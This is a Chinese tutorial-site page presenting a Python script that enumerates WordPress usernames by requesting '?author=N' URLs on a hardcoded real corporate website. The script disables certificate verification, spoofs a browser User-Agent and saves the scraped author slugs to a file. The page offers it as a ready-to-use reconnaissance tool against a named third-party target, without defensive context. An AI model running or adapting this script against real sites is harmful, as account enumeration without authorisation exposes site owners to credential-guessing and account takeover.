西部数码主机 | 阿里云主机| 虚拟主机 | 服务器 | 返回乐道官网
当前位置: 主页 > php教程 > wordpress教程 >

wordpress获取用户名脚本

时间:2016-09-23 16:53来源:未知 作者:好模板 点击:
wordpress获取用户名脚本 #!/usr/bin/env python # encoding: utf-8 # wp_get_auth.py # author: persuit import requests import sys import os import re from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packag
wordpress获取用户名脚本

#!/usr/bin/env python
# encoding: utf-8
# wp_get_auth.py
# author: persuit
 
import requests
import sys
import os
import re
 
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings()
 
headers = {
    'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0) Gecko/20100101 Firefox/43.0',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Accept-Encoding':'gzip, deflate',
    'Content-Type':'application/x-www-form-urlencoded',
    'Connection':'keep-alive'
}
 
def getAuthor():
    
    url = 'https://www.yaskawa.co.jp/'
    for i in range(1,50):
 
        geturl = url + "?author=%d" % (i)
        print (geturl)
        
        try:
            global res
            res = requests.get(geturl,headers=headers,verify=False,timeout=10).content
        except:
            pass
        
        p = re.compile(r'<body class="archive author author-(.+?) author-')
        matchs = []
        matchs = p.findall(res.decode())
 
        for auth in matchs:
            fp = open('auth.txt','a')
            fp.write(auth + '\n')
            fp.close()
    pass
 
if __name__ == '__main__':
    getAuthor()
(责任编辑:好模板)
顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------